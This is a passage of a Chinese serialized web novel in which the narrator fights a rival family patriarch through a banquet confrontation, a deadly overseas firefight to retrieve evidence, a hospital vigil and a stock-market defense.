我看了眼手机,还是没有柳媚笙的消息。
七点四十五分,轮到司徒晴发言。
她今天穿了身白色的西装套裙,简洁干练。走上舞台时,她的脚步很稳,但握着话筒的手在微微颤抖。
“各位晚上好,我是司徒晴,晴空科技CEO。”
她的声音起初有些紧,但很快平稳下来。
“刚才听了各位前辈的发言,我受益匪浅。作为一个年轻创业者,我想分享一些自己的感悟。”
她深吸一口气,看向台下,目光扫过司徒雄,扫过我,然后定格在远方。
“创业三年,我最大的体会是:做企业,先做人,做人要有底线,有原则,有独立的灵魂。”
台下有人倒吸一口凉气。这话几乎是在直接反驳司徒雄刚才的“规矩论”。
“晴空科技从创立第一天起,就坚持独立研发,自主创新,我们的每一个专利,每一行代码,都是团队心血的结果,我们不为任何人代言,只为自己坚信的技术和理念代言。”
她越说越流畅,眼中闪烁着坚定的光。
“有人说我背叛家族,有人说我忘本,但我想说,真正的传承,不是墨守成规,而是开拓创新,真正的孝顺,不是盲目服从,而是青出于蓝。”
司徒雄的脸色已经铁青。
司徒飞在他身后,焦急地想说什么,但被司徒雄一个眼神制止了。
“所以今天,我想正式宣布。”司徒晴提高声音,“晴空科技将独立运营,不接受任何家族的干涉和控制,我们会按照自己的节奏,走自己的路。这条路可能很难,但我们会一直走下去。”
她顿了顿,最后说:
“因为我相信,在这个时代,每个人都可以定义自己的成功,而我的定义是:不依附,不妥协,不设限。谢谢。”
她鞠躬下台。
那一刻,全场寂静了整整三秒钟。
然后,掌声如雷。
年轻创业者们起立鼓掌,媒体区的闪光灯疯狂闪烁。
许多老一辈的企业家面面相觑,眼中有着震惊和复杂的情绪。
司徒晴做到了。她真的在所有人面前,公开和司徒家切割,宣告独立。
回到座位时,她脸色苍白,但眼睛亮得惊人。我对她点点头,她也对我点点头。一切尽在不言中。
晚宴继续,但所有人的心思都已经不在宴会上了。
我起身去了洗手间。在走廊里,叶倾城追了上来。
“联系上了。”她压低声音,脸色凝重,“柳媚笙那边出事了。”
我的心一沉:“怎么回事?”
“吴山的安全屋被袭击了。”叶倾城快速说道:“对方有二十多人,武装精良,柳媚笙的小队和他们交火了,吴山受了轻伤,但被成功转移,现在他们在去新安全屋的路上,但有两辆车在追他们。”
“媚笙呢?”
“她没事,但很危险。”叶倾城说道:“她让我告诉你,不用担心,她会处理好,但她也说袭击者不是普通的黑帮,是专业的雇佣兵,很可能是司徒雄请的。”
我握紧了拳头。
“告诉媚笙,安全第一。必要的话,放弃任务,先撤回来。”
“她说她不会放弃。”叶倾城看着我,“她说,这是唯一能扳倒司徒雄的机会,她一定要把证据带回来。”
我沉默了。我知道柳媚笙的性格,她决定的事,谁也改变不了。
“继续保持联系。”我最终说道:“有任何情况,第一时间告诉我。”
回到宴会厅时,气氛依旧微妙,秦悦正和几位商界前辈交谈,看到我回来,她对我笑了笑。
但她的笑容在看到我的表情时,凝固了。
“出什么事了?”她走过来,低声问。
“一点小麻烦。”我尽量平静地说,“媚笙那边有点状况,但能处理。”
秦悦眼中闪过一丝担忧,但她没多问,只是握了握我的手。
这时,司徒雄拄着手杖,朝我们走了过来。
他走得很慢,但每一步都带着压迫感。周围的人都自动让开一条路,目光在我们之间来回扫视。
最终,他停在我面前。
“陈凡!”他开口,声音不大,但足够清晰道:“年轻人有锐气是好事,但锐气太盛,容易折断。”
我平静地看着他:“多谢司徒老提醒,不过我觉得,与其担心折断,不如担心生锈。”
他的眼神冷了下来。
“你很自信。”
“我只是相信,时代在变。”
“时代在变?!”司徒雄缓缓道:“但有些规则永远不会变。比如,姜还是老的辣。”
他顿了顿,压低声音,只有我们两人能听到:
“境外的事,我已经知道了。你派去的那个女人,不错,很能干。但你觉得,她能活着把东西带回来吗?”
我的心猛地一沉,但脸上不动声色。
“我不明白您在说什么。”
“你会明白的。”司徒雄笑了,那笑容冰冷而残忍道:“游戏才刚刚开始,陈凡。你以为你在下棋,但其实,你只是棋盘上的一颗棋子。”
说完,他转身,拄着手杖离开。
秦悦走到我身边,眼中有着担忧:“他说了什么?”
“没什么。”我握紧她的手,“只是在虚张声势。”
但我心里清楚,司徒雄不是在虚张声势。
他知道柳媚笙在境外,知道我们在找吴山,甚至可能知道更多。
这场战争,比我想象的,更复杂,更危险。
晚宴在九点半结束,这场宴会,我和秦悦跳舞,官宣了我们的关系,一时间成为了焦点。
离开时,媒体再次围了上来,但我们都默契地没有接受采访。
坐进车里,我终于可以卸下伪装,露出疲惫。
“现在去哪儿?”司机问。
我想了想:“去公司。”
秦悦握住我的手:“我陪你。”
叶倾城坐在副驾,回头说:“媚笙那边还没有新消息,但她之前说过,如果顺利,会在凌晨三点前抵达新安全屋。到时候会有信号。”
我点点头,看向窗外。
手机震动,是司徒晴发来的信息:“谢谢你。接下来,我会做好我该做的事。”
我回复:“小心。”
……
回到办公室时,已是深夜十一点。
大楼里灯火通明,大部分员工都下班了,只有顶层几个关键部门的办公室还亮着灯。
叶倾城的团队在监控各方动态,秦悦带来的秦家团队在分析晚宴后的**反应,而我独自坐在办公室里,面前的六块屏幕分别显示着不同信息——股市行情、新闻推送、加密通信
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频道,以及马来西亚的地图。
地图上有三个光点在移动。绿色的代表柳媚笙的车队,红色的代表追击者,蓝色的代表我们安排的接应点。从光点位置看,双方距离正在缩小。
“最快的一辆追击车,离他们还有不到五公里。”叶倾城推门进来,脸色凝重道:“马来西亚那边反馈,追击者装备精良,有重武器,当地警方已经接到报警,但出警速度很慢,明显被人打过招呼。”
我盯着屏幕:“接应点还有多远?”
“最近的接应点在三十公里外,但以现在的速度,他们到不了。”叶倾城走过来,手指在屏幕上划出一道线,道:“媚笙的车队现在在这个位置,前面是山路,路况复杂,如果追击者在山路前追上他们……”
她没说完,但意思很明白,这里山路狭窄,一旦被追上,就是瓮中捉鳖。
我拿起加密卫星电话,拨通柳媚笙的频道,响了很久,终于接通。
背景音里传来急促的引擎声和隐约的**。
“陈凡?”柳媚笙的声音有些喘,但还算镇定。
“情况怎么样?”我问。
“不太妙。”她快速说:“对方有三辆车,十五到二十人,装备比我们好,我们这边伤了两个,吴山胳膊中弹,但还能动。”
“能撑到接应点吗?”我问。
“够呛。”柳媚笙顿了顿道:“山路还有十公里,但追击者离我们只有四公里了,我打算在进山路前设个埋伏,干掉第一辆车,争取时间。”
“太危险。”
“这是唯一的办法,陈凡,你别管了,我能处理,你专心对付司徒雄,晚宴怎么样?”
“司徒晴公开切割了,司徒雄脸色很难看,但当场没发作,临走时,他暗示我知道我们在境外的事。”
电话那头沉默了几秒。
“那你要小心。”柳媚笙说道:“司徒雄不会善罢甘休。他在东南亚的势力比我们想象的深,今天这批雇佣兵,可能就是他的。”
“我知道,你自己……”
话没说完,电话那头传来剧烈的**声,然后是刺耳的杂音。
“媚笙?媚笙!”
几秒钟后,杂音减弱,柳媚笙的声音重新出现,但更喘了:“他们用了**,打中了后面的车。我得挂了,要专心开车。陈凡,如果...”
她停顿了一下,声音忽然变得很轻:“如果我没回来,记得我爱你!”
电话挂断了。
我握着话筒,手指关节因为用力而发白。办公室里死一般寂静,只有屏幕上的光点在无声地移动。
“陈凡...”叶倾城轻声唤我。
我放下电话,深吸一口气,强迫自己冷静下来。现在不能乱,绝对不能。
“联系我们在境外的所有资源。”我大声的说道:“我们开出三倍价钱,雇佣当地最好的雇佣兵团队,去支援媚笙,告诉他们,人活着回来,再付五倍。”
叶倾城咬了咬唇,转身出去了。
办公室里只剩下我一个人。我走到窗前,看着外面流光溢彩的城市夜景,没有人知道,我心里正经历着怎样的煎熬。
柳媚笙跟了我这么久,为我做过太多事,有些是交易,有些是情分,有些是说不清道不明的东西。但我知道,在我认识的所有女人中,她是最懂我的,也是最愿意为我冒险的。
如果她真的因为这次任务出事,我真的不会原谅我自己!
240柳媚笙用命换来的证据!
门轻轻开了,秦悦端着杯热茶走进来。
她换了身舒适的居家服,头发披散着,脸上带着温柔的笑意。
“我煮了安神茶给你喝。”她把茶杯放在我面前道:“里面还加了杭城带来的桂花,你尝尝。”
我接过茶杯,茶水温热,香气扑鼻,但我现在没有心情品茶。
秦悦走到我身后,轻轻按摩我的太阳穴,她的手指很软,力度恰到好处。
“别太担心。”她轻声安慰我道:“媚笙很厉害,一定能化险为夷的。”
“你怎么知道我在担心她?”我强颜欢笑,眼神里多了几分落寞。
“你的眼神。”秦悦绕到我面前,直视我的眼睛:“陈凡,虽然我们认识的时间不长,但我知道,你对身边每一个人都很重情,柳媚笙跟了你那么久,你不可能不担心她。”
我沉默着,喝了口茶,桂花香在口中散开,却无法解开我内心的愁绪。
“悦悦……”我看着她道:“如果有一天,我为了做某件事,必须让身边的人冒险,你会怎么看我?”
秦悦想了想,认真的说:“我会觉得,你是个真实的人,在这个圈子里,有些人把身边人都当棋子,用完了就扔,有些人假装重情重义,其实都是表演,而你是真的在乎,但也真的敢让在乎的人去冒险,因为你知道,有些仗,必须打,有些险,必须冒。”
她摸着我的脸,坐在我的怀里,一脸认真的看着我说道:“这也是我愿意跟着你的原因,真实,不虚伪。虽然有时候很残酷,但至少不欺骗。”
我握住她的手,亲了一口:“谢谢。”
“不用谢。”她靠在我肩上,道:“其实我有点羡慕柳媚笙,能别放在心上,我真的很羡慕呢!那就证明,她走进你心里了。”
“其实每个人走进我世界的方式不一样。”我轻声说:“没有早晚,只有合适不合适。”
凌晨一点,叶倾城回来了。
“安排好了。”她说,“两个雇佣兵团队,总共四十人,已经从吉隆坡出发,他们承诺两小时内赶到,但条件是,现金支付,不接受转账。”
“给他们。”我说道:“从我的私人账户走,不计入公司账目。”
“还有一个消息。”叶倾城脸色更凝重道:“我们的人在追踪追击者的通讯时,截获了一段对话,雇佣兵的雇主代号‘豺狼’,要求活捉吴山,生死不论柳媚笙。”
生死不论?!
这四个字让我心凉!我知道这意味着什么!
“能定位‘豺狼’的位置吗?”
“暂时不能,他的通讯加密级别很高,但可以确定,信号源在东南亚某处,不是国内。”叶倾城皱了皱眉头说道:“很可能司徒雄本人或者他的亲信就在那边坐镇指挥。”
我走到电脑前,调出司徒雄最近的行踪记录。
公开行程显示,他三天前去了国外,名义是参加一个商业论坛,但论坛昨天就结束了,他却没有按计划回国。
“他在国外以参加论坛为掩护,实际在指挥这次行动。”我说道。
叶倾城倒吸一口凉气:“那我们是不是应该做准备动手?”
“不。”我摇头道:“现在动他,没有证据,而且他在国外,我们鞭长莫及,当务之急,是确保媚笙和吴山的安全。”
凌晨两点,境外那边终于传来新消息。
柳媚笙的设伏成功了。
他们在山路入口处制造了一起“车祸”,用一辆车挡住了追击者的第一辆车,交火中,击毙了五名追击者,但自己也损失了三个人,柳媚笙手臂被**擦伤,吴山肩膀中弹,情况危急。
现在他们正沿着山路逃往接应点,但追击者还有两辆车,紧追不舍。
“接应点那边情况怎么样?”我问。
“我们的人已经就位。”叶倾城说:“但追击者可能有后援,根据最新情报显示,有另外三辆车正在往那个方向赶,身份不明。”
我的心越来越担心柳媚笙了,我一宿没睡,凌晨三点,电话再一次响起,我几乎是扑过去接起来的。
这就像一场**,看谁先赶到。
凌晨三点,卫星电话再次响起。
我几乎是扑过去接起来的。
“陈凡……”柳媚笙的声音极度疲惫。
“我们到接应点了,但对方也有援军,现在双方正在交火,我们被困在一个废弃的橡胶园里。”
背景音里**密集。
“能撑多久?”我着急的问。
“不知道。”她顿了顿道:“吴山失血过多,快不行了,他刚才把证据交给我了,是一个加密U盘,密码是他女儿的生日,陈凡,如果我……”
“没有如果。”我打断她,“听着,媚笙,我派的援军就在你们东边五公里处,我让他们立刻强攻,你们往**围,听见了吗?”
“来不及了。”柳媚笙的声音忽然变得很轻道:“他们包围圈在缩小,陈凡,有句话我一直想跟你说……”
**突然变得极其密集,然后是**声。
突然就电话断了。
“媚笙?媚笙!”
话筒里传来冰冷的忙音!
我扔下电话,转身对叶倾城吼道:“让援军强攻!现在!立刻!”
“已经下达命令了。”叶倾城脸色苍白道:“但对方火力太强,我们的援军被压制在八百米外,突不进去。”
我冲到电脑前,调出卫星实时图像,由于云层遮挡,画面很模糊,但能看到橡胶园周围有十几个热源信号,这代表交火人员。
其中一个热源信号很微弱,依靠在树边,应该是受伤的柳媚笙或吴山。
“联系境外军方。”我做了决定道:“以反恐名义,请求他们介入,就说有国际**在当地交火,劫持了人质。”
“可是这样会暴露……”
“暴露就暴露!”我吼道:“人比什么都重要!”
叶倾城愣了一秒,然后立刻去办了。
凌晨三点半,境外军方出动了两架直升机和三辆装甲车,由于事态“升级”,当地警方也增派了警力。
交火在四点钟左右停止,追击者见势不妙,撤退了。
凌晨四点半,第一批现场照片传回来。
废弃橡胶园里一片狼藉,到处都是弹壳和血迹。
我们的人伤亡惨重,去了十二个人,活着回来的只有五个,其中三个重伤,吴山**,身中七弹,但他死前把证据U盘吞进了肚子,被找到时,U盘还在胃里。
柳媚笙还活着。
她被找到时,靠在一棵橡胶树下,左肩中弹,右腿骨折,失血
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过多昏迷,但还有呼吸。
看到这些照片时,我坐在办公室里,一动不动。
太阳照常升起,新的一天即将开始,但有些人,再也看不到今天的太阳了。
叶倾城推门进来,眼睛红肿,很显然是哭过。
“媚笙已经送进手术室了。”她声音沙哑道:“医生说,生命体征暂时稳定,但还没脱离危险,吴山的遗体已经妥善保管,U盘也取出来了,正在解密。”
我点点头,说不出话。
“还有一件事。”叶倾城犹豫了一下,“司徒雄今天早上六点的航班回国,他应该已经知道行动失败了。”
“知道了也好。”我声音干涩,道:“让他知道,我们不是那么好对付的。”
“那接下来我们怎么办?”叶倾城问我。
“按原计划进行!”我站起身,走到窗前。
“吴山的证据,张薇薇的报道,秦家的支持,还有司徒晴的独立,所有牌都齐了,现在,该我们反击了。”
叶倾城看着我,眼中有着担忧:“可是媚笙还在医院,你现在状态,你已经一天一宿没睡了,陈凡,你该去休息了……”
“我没事。”我转过身,看着她,目光坚定道:“倾城,这场仗必须打下去,媚笙用命换来的机会,不能浪费。吴山的死,也不能白死。”
她沉默了一会儿,然后点头:“我明白了,那我去准备。”
“等等。”我叫住她,“医院那边,安排最好的医生,最好的护理,钱不是问题!还有等媚笙醒了,第一时间告诉我。”
叶倾城走后,办公室里又只剩下我一个人。
我走到酒柜前,倒了杯烈酒,一饮而尽。
手机响了,是秦悦。她应该已经知道了消息。
“陈凡,你还好吗?”她的声音很轻,带着关切。
“还好。”
“我熬了粥,给你送过去?”
“不用了,你今天还要和秦家代表团开会,讨论投资的具体方案,别因为我耽误正事。”
“知道,可是我担心你。”
“悦悦……”我打断她道:“这场仗,每个人都有各自的战场,你的战场在谈判桌上,我的战场在这里,我们都做好自己的事,就是对彼此最好的支持。”
电话那头沉默了一会儿。
“我明白了。”秦悦说:“那你自己保重,记得吃饭,记得休息。”
“嗯。”
挂断电话,我重新坐回电脑前,屏幕上是境外发来的最新邮件,吴山U盘里的文件已经解密完成。
我点开文件夹。
里面有几十份文件:合同、转账记录、通信录音、照片,时间跨度从1994年到1998年,完整记录了司徒雄当年如何通过海运公司**,如何伪造沉船事故**,如何**,如何与那个东南亚小国的**者分赃。
其中一张照片尤其触目惊心,司徒雄和那个**者并肩站在一艘货轮前握手,背景是堆积如山的木箱,箱子上隐约可见武器标志。照片右下角有时间戳:1995年8月17日。
这是铁证。
足以让司徒雄身败名裂。
我盯着这张照片,看了很久。
然后,我拿起电话,打给张薇薇。
“薇薇!你要的独家新闻,来了。”
241柳媚笙受伤了!
上城,深夜。
一架私人飞机,降落在机场。
在机场里,一辆救护车已经准备好,柳媚笙从飞机上被护士抬出来,然后转送至上城最好的医院。
二十分钟后,柳媚笙被送进了ICU。
是我,执意将柳媚笙从境外送回来,为此,我花费了很多钱,找了很多的人。
我站在ICU的玻璃窗外,看着里面的柳媚笙。
她躺在病床上,身上插满了管子,她的脸色惨白的就像一张纸,医生说她手术很成功,**取出来了,骨折也固定了,但失血过多导致器官功能受损,还没脱离危险期。
她安静地躺着,像睡着了。
但我知道,她随时可能再也醒不过来。
叶倾城站在我身边,眼睛哭的红肿起来,她昨天一夜没睡,一直在协调各方,秦悦在凌晨三点来过,送来一保温壶的参汤,但看到我在ICU外站着的背影,她没有打扰,放下东西就走了。
“医生说,接下来二十四小时是关键。”叶倾城轻声说,道:“如果能挺过去,恢复的几率就很大。”
我点点头,没说话。
窗外的天色渐渐亮了,我坐在长椅上,深深的抽着烟,似乎只有这样,才能让我心里舒坦一点。
“吴山的遗体怎么处理?”叶倾城问我。
“联系他的家人。”我说道:“给他们足够的抚恤金,确保他们后半生无忧,另外,以吴山的名字在他家乡捐建一所学校。”
“好。”叶倾城记录下来,“那吴山的U盘呢?”
“我已经交给张薇薇了。”我看着病房里的柳媚笙,道:“她会在今天上午十点,准时发布第一篇报道,**战争,从今天开始。”
叶倾城沉默了一会儿:“陈凡,你想要接下来如何应对司徒雄的报复了吗?”
叶倾城看了一眼病房里的柳媚笙,这就是惹怒司徒雄的下场,自己从没有后悔跟随陈凡,但是她想知道,陈凡接下来的计划。
“媚笙用命换来的证据,吴山用命守护的秘密,不能白费。”我的声音很平静,道:“而且,司徒雄已经先动手了,昨晚在境外,他想要媚笙的命,这场仗,已经不是商业竞争,是生死搏杀。”
叶倾城不再说话,她知道我说的是事实。
六点,医生来查房,我拦住主治医生,一个五十多岁的医生,姓陈。
“陈医生,她情况怎么样?”我问。
陈医生摘下口罩,脸上有着疲惫:“还算稳定,但不容乐观,**擦伤了左肺,导致气胸,我们已经做了引流,最麻烦的是失血性休克导致的肾损伤,需要密切监测,如果四十八小时内尿量不能恢复,可能需要透析。”
“你们给我用最好的药,最好的设备,钱不是问题。”
“这不是钱的问题。”陈医生看着我,道:“这是命的问题,陈先生,你和病人是什么关系?”
这个问题让我愣了一下。
什么关系?
“很重要的人。”我最终说。
陈医生点点头,语气缓和了些道:“那你要有心理准备,即使她能醒过来,完全恢复也需要很长时间,而且……”
他犹豫了一下:“那颗**离心脏只有三厘米,她真的很幸运,这种伤会留下永久性的后遗症,她以后可能不能剧烈运动,不能承受太大压力,甚至可能会长期疼痛。”
我握紧了拳头,指甲陷进掌心。
“我知道了,谢谢医生。”
陈医生走后,我在走廊的长椅上坐下。
叶倾城去处理其他事了,医院里只剩下我和病房里的柳媚笙。
我想起很久之前,第一次见到柳媚笙的情景。
那是在她的酒吧,她端着一个酒杯,身姿妖娆的走了过来,她调侃我,开我的玩笑,她的笑容是那么的妩媚动人。
从那以后,我们就开始纠缠彼此,她总说自己是个生意人,只谈利益不谈感情,但我知道,她比谁都重情。
阿战的死是她心里永远的痛,她曾经说过,阿战是她这辈子唯一爱过的人,但为了救她**。
从那以后,她不再相信爱情,只相信交易。
可是昨晚,在枪林弹雨中,她对我说,我爱你这三个字。
这话的意思,我懂。
她不是想**,而是想告诉我,如果她**,不要让我带着内疚的活着,她是在为我着想,她所做的一切,都是心甘情愿的。
我把脸埋在手掌里,感到前所未有的疲惫。
七点,我的手机震动,是张薇薇发来的信息。
“陈总,报道准备好了,十点准时发布,另外,有三家海外媒体联系我,给他们吗?”
“给。”我回复道:“越多越好,但要求他们同步发布,不能有先后。”
“明白。”
八点,叶倾城带着早餐回来,简单的粥和小菜,但我没什么胃口。
“吃点吧。”她把粥推到我面前道:“你不能倒,现在你是所有人的主心骨。”
我勉强吃了几口,粥是温的,但食不知味。
“秦悦刚才来电话,说秦家那边一切顺利。”叶倾城坐在我对面,也开始吃早餐:“投资协议已经草拟完成,下午就可以签约,她还说让你注意身体。”
“嗯。”
“司徒晴也来消息了。”叶倾城继续说:“晴空科技的新供应商已经联系上,样品测试通过,第一批货三天后到。生产线的调试团队也已经就位,二十四小时轮班,保证一周内恢复生产。”
“好。”
叶倾城看着我,欲言又止。
“想说什么就说。”
“陈凡。”她轻声问,“等这一切结束了,你打算怎么办?”
这个问题很突然,我抬起头看她。
“我的意思是……”她解释道:“等扳倒司徒家,等晴空科技站稳脚跟,等秦家的投资落地,那时候,你想要什么样的生活?”
我沉默了很久。
“没想过。”我实话实说:“我现在每天都在想怎么赢下一场仗,怎么拿下下一个目标,至于赢了之后没时间想。”
“那现在想想呢?”叶倾城坚持问道:“或者我换个问法:你做的这一切,最终是为了什么?权力?财富?还是别的什么?”
“最开始,是为了复仇。”我说:“苏韵和冯天宇的背叛,让我想证明自己,想让他们后悔,但后来,复仇完成了,冯家倒了,我却停不下来。”
我顿了顿,组织语言:“我发现,我享受这个过程,从无到有,从小到大,把不可能变成可能。我喜欢看着一个计划从构想变成现实,喜欢看着对手从嚣张到崩溃,喜欢掌控的感觉。”
“那感情呢?”叶倾城问得很直接,道:“秦悦,柳媚笙,我,还有司徒晴,我们在你心里,是什么位置?”
这个问题更难回答。
我看着她的眼睛,那双总是冷静理性的眸子里,此刻有着罕见的脆弱和期待。
“倾城。”我缓缓说:“我不想骗你,在我心里,你们
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每个人都很重要,但方式不同,秦悦代表一种可能性,安稳的,正常的,有家可回的生活可能性。柳媚笙她是我最信任的战友,是懂我所有阴暗面的人。司徒晴,是我看好的一颗种子,我想看着她成长,证明我的眼光。”
“那我呢?”
“你?”我看着她道:“你是最像我的,理智,果断,知道什么时候该做什么。”
叶倾城的眼睛微微红了,但她笑了。
“够了。”她点了点头道:“有这句话,就够了。”
也就是此刻,我才明白,叶倾城最怕的是什么,她害怕被我抛弃,用完就甩开。
九点,我让叶倾城回公司处理事情,自己继续留在医院。
十点整,张薇薇的报道准时发布。
第一篇报道的标题就很劲爆:《上城世家背后的血色往事,起底司徒家九十年代海外生意》。
文章没有一开始就抛出最猛的料,而是先从司徒家的发家史讲起,提到九十年代海运业务的突然扩张,提到那三艘“意外”沉没的货轮,提到巨额的保险理赔。
文章写得很有技巧,没有直接指控,而是通过大量的事实细节和逻辑推理,让读者自己得出结论。
而且,张薇薇还采访了几个当年在海运业工作过的老人,他们的回忆提供了很多佐证。
报道发布十分钟,阅读量破百万!
**开始发酵!
十点半,第二篇报道发布:《消失的将军——一个东南亚小国**者的最后岁月》。
这篇讲的是吴山的故事,讲他如何从一个平民将军,到**者,到**者,文章提到了他当年的**来源,提到了那些“神秘”的运输渠道,但依然没有直接点名司徒家。
然而,聪明的读者已经能拼凑出画面了。
十一点,司徒家的公关团队开始行动,他们发布了一份声明,称这些报道“纯属捏造,恶意中伤”,表示要追究法律责任。
十一点半,张薇薇发布了第三篇报道,也是今天的重头戏。
这次,她放出了部分证据,那张司徒雄和吴山在货轮前的合影。
虽然照片做了处理,但两人的脸清晰可辨,文章详细分析了照片的拍摄时间、地点,甚至通过背景里的货物箱,推算出**的大致数量。
这一次,**彻底炸了!
微博热搜前五条,三条和司徒家有关。各大财经媒体紧急跟进,分析文章铺天盖地,司徒集团的股票在开盘一小时后,暴跌8%。
中午十二点,我接到了第一个关键电话,来自某个监管部门的“朋友”。
“陈凡,你这次动静闹得太大了。”对方声音很严肃,“司徒家那边已经动用了最高层的关系,要求立刻平息事态。”
我只是让媒体曝光一些事实。至于事实会引发什么后果,不是我控制的。”
“少来这套。”对方不客气道:“我知道是你在背后推动,陈凡,听我一句劝,见好就收。司徒雄的根基太深,你扳不倒他的,现在撤,还能保住你现有的东西。”
“如果我不撤呢?”
电话那头沉默了很久。
“那就后果自负。”对方最终说道:“我能帮你的,到此为止了,接下来的路,你自己走。”
电话挂断了。
下午一点,医院那边传来好消息:柳媚笙醒了。
我几乎是冲进ICU的,她戴着氧气面罩,不能说话,但眼睛睁开了,看到我,她的眼睛弯了弯,像是在笑……
242众女帮忙!
“醒了!”
“醒了!”
我忍不住呼喊了起来:“医生,陈医生!”
护士们听到我的喊声,也急急忙忙赶来了,陈医生正在检查柳媚笙的情况。
“她的意识恢复了,这是好现象,但还不能大意,接下来要重点监测器官功能,特别是肾脏。”陈医生说道。
我走到床边,握住柳媚笙没打点滴的那只手,她的手很凉,很软,没什么力气,我的心瞬间就疼了。
柳媚笙在我眼里,一直都是阳光明媚的,这样脆弱的她,我还是第一次见。
“媚笙,没事了,都过去了,你好好养伤,其他的事,交给我!”我握着她的手,安慰道:“你放心,我会让司徒家付出代价的,你的仇,我会给你报!”
她的手指微微动了动,像是在回应,我看到她的眼睛里闪动着泪花,她没有力气再回应我什么,就闭着眼睛,直到她沉沉的睡去。
我在她床边坐了整整一下午,她偶尔醒来看见我,会眨眨眼,然后又睡过去。
下午三点,叶倾城匆匆赶来,脸色凝重。
“陈凡,出事了。”她说:“司徒雄动用了政商关系,张薇薇的报道被全网删除,而且,有几家跟进报道的媒体收到了警告,要求撤稿。”
“预料之中。”我说:“但他删不掉所有人的记忆,**已经起来了,压是压不住的。”
“不止如此。”叶倾城压低声音道:“我们还收到消息,司徒雄正在调集资金,准备对‘凡颜资本’发动狙击。他在股市上有大量仓位,如果同时抛售我们持有的股票,我们的资金链会断。”
我皱起眉头,这是最直接的攻击手段,用资本碾压资本。
“我们现在有多少流动资金?”我问。
“大概三十亿。”叶倾城说道:“但其中二十亿是秦家的投资款,按协议要用于具体项目,不能挪用,能动用的,只有十亿。”
“司徒雄能调动多少?”
“保守估计,两百亿以上。”
二十比一,这仗怎么打?
“联系秦悦。”我说道:“我需要秦家提前注资,至少先拨五十亿过来应急。”
“秦家会答应吗?投资协议还没正式签……”
“告诉他们,如果不提前注资,‘凡颜资本’倒了,他们的投资也会打水漂,现在是生死存亡的时候,不是按部就班的时候。”
叶倾城去打电话了,我回到柳媚笙床边,她醒着,正看着我。
虽然不能说话,但她的眼神在问:出什么事了?
“一点小麻烦。”我握住她的手,安慰道:“放心,我能处理。”
她看着我,眼神很复杂,有担忧,有关切,也有别的什么。
我忽然想起不久之前,她曾经说过一句话:“陈凡,你知道吗?你最大的优点,也是最大的缺点,你永远觉得自己能搞定一切。”
当时我没在意,但现在,我忽然懂了她的意思。
有时候,太相信自己,也是一种傲慢。
下午五点,秦悦来了医院。她看起来很疲惫,但眼神坚定。
“陈凡,”她直入主题,“爷爷答应了,五十亿,今晚到账,但他有个条件。”
“什么条件?”我问。
“这笔钱是救急款,不算在投资协议里。”秦悦说道:“他要你以个人名义签借据,年息15%,一年内还清,而且,他要你答应,扳倒司徒家后,秦家要分三成利益。”
我看着她,有些犹豫。
这条件很苛刻,年息15%几乎是**,三成利益更是狮子大开口,但我知道,我没有选择。
“我答应。”
秦悦眼中闪过一丝不忍:“其实我可以再跟爷爷说说,也许……”
秦悦心里有些内疚惭愧,她没有想到,爷爷会趁机敲我一笔竹杠。
“不用了。”我打断她道:“秦老说得对,生意就是生意。他愿意在这个时候帮我,已经是情分了,条件苛刻点,正常。”
秦悦咬咬唇,没再说话。
她看了看病床上的柳媚笙,轻声问:“柳小姐怎么样了?”
“醒了,但还要观察。”
“那就好。”秦悦从包里拿出一个小盒子,“这是我求的平安符,在灵隐寺开过光的,你给她戴上吧。”
我接过盒子,打开,里面是一个小小的玉佛,用红绳穿着。
“谢谢。”
秦悦摇摇头,转身要走,又停住:“陈凡,你自己也小心,司徒雄现在被逼到墙角了,什么事都做得出来。”
“我知道。”
她走了,我拿着那个玉佛,轻轻戴在柳媚笙的手腕上。她的手腕很细,玉佛在她苍白的皮肤上,显得格外温润。
她看着我,眼睛眨了眨,像是在说:她对你很好。
“是啊。”我轻声说道:“你们都对我很好,所以我更不能输。”
深夜十一点,五十亿资金到账。
我站在晴空科技的指挥中心,面前是十二块显示屏,实时显示着全球主要市场的行情、外汇波动、大宗商品价格,以及最关键的——司徒集团和“凡颜资本”持仓股票的走势图。
叶倾城站在我身边,眼睛盯着屏幕,手里拿着加密通话器,随时准备下达指令。
秦悦也在,她换上了干练的西装套裙,头发扎起,正在和秦家在新加坡的操盘手团队沟通。
整个指挥中心灯火通明,二十多个交易员各就各位,空气里弥漫着咖啡和紧张的味道。
“司徒雄开始动了。”一个交易员喊道:“他在港交所抛售我们持有的‘华科股份’,一次性五千万股!”
我看着屏幕上“华科股份”的走势线瞬间跳水,从每股42元跌到38元,跌幅接近10%。
“接住。”我平静地说:“用秦家的钱,有多少接多少,托住38元的底线。”
“是!”
交易员们的手指在键盘上飞舞,指令迅速发出,屏幕上,“华科股份”的股价在38元附近剧烈震荡,成交量急剧放大。
这是第一回合!
司徒雄在试探我们的底线,也在消耗我们的资金。
“陈凡。”叶倾城低声说,“按照这个抛售速度,五十亿最多能撑到明天中午,而且,如果我们把大部分资金都用来护盘,其他业务会受影响。”
“我知道。”我说:“但必须撑住,司徒雄在赌我们不敢接,在赌我们资金不足,我们要让他知道,我们敢接,而且接得住。”
秦悦走过来,脸色有些苍白:“国外那边传来消息,司徒雄在动用海外资金,通过离岸账户在美股市场做空我们投资的中概股,那边可能需要更多资金应对。”
“多少?”
“初步估计,至少还要三十亿。”秦悦咬着嘴唇,道:“但我爷爷那边短时间内拿不出更多了,五十亿已经是极限。”
我闭上眼睛,快速计算。
八十亿的资金缺口,而我们现在能动用的,除了秦家的五十亿,只有自己的十亿,还有二十亿的缺口。
“倾城!”我说道:“把我们持有的非核心资产列出来,全部抵押,能套现多少算多少。”
叶倾城愣住了:“陈凡,那些是你的心血啊!”
“心血可以再攒,命只有一条。”我打断她道:“快去办,天亮前,我要看到二十亿现金到账。”
叶倾城看了我一眼,眼中闪过复杂的情绪,但最终还是点点头,转身出去了。
秦悦看着我,轻声问:“值得吗?为了扳倒司徒家,赌上你的一切?”
“不是值不值得的问题。”我说道:“是必须做的问题,悦悦,你听过
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‘破釜沉舟’的故事吗?现在,我们就在那条船上。”
她沉默了一会儿,然后说:“我明白了,我会再跟爷爷沟通,看看能不能从其他渠道……”
“不用了。”我摇头道:“秦家已经帮了很多。接下来的路,得我自己走。”
凌晨一点,“华科股份”的护盘战还在继续,司徒雄又抛出了八千万股,股价一度跌破37元,但被我们硬生生拉回到38.5元。这一轮,我们消耗了十八亿资金。
凌晨两点,美股开盘。司徒雄果然开始做空中概股,我们投资的三家公司股价在半小时内暴跌15%。秦悦指挥新加坡团队反击,但资金有限,效果不明显。
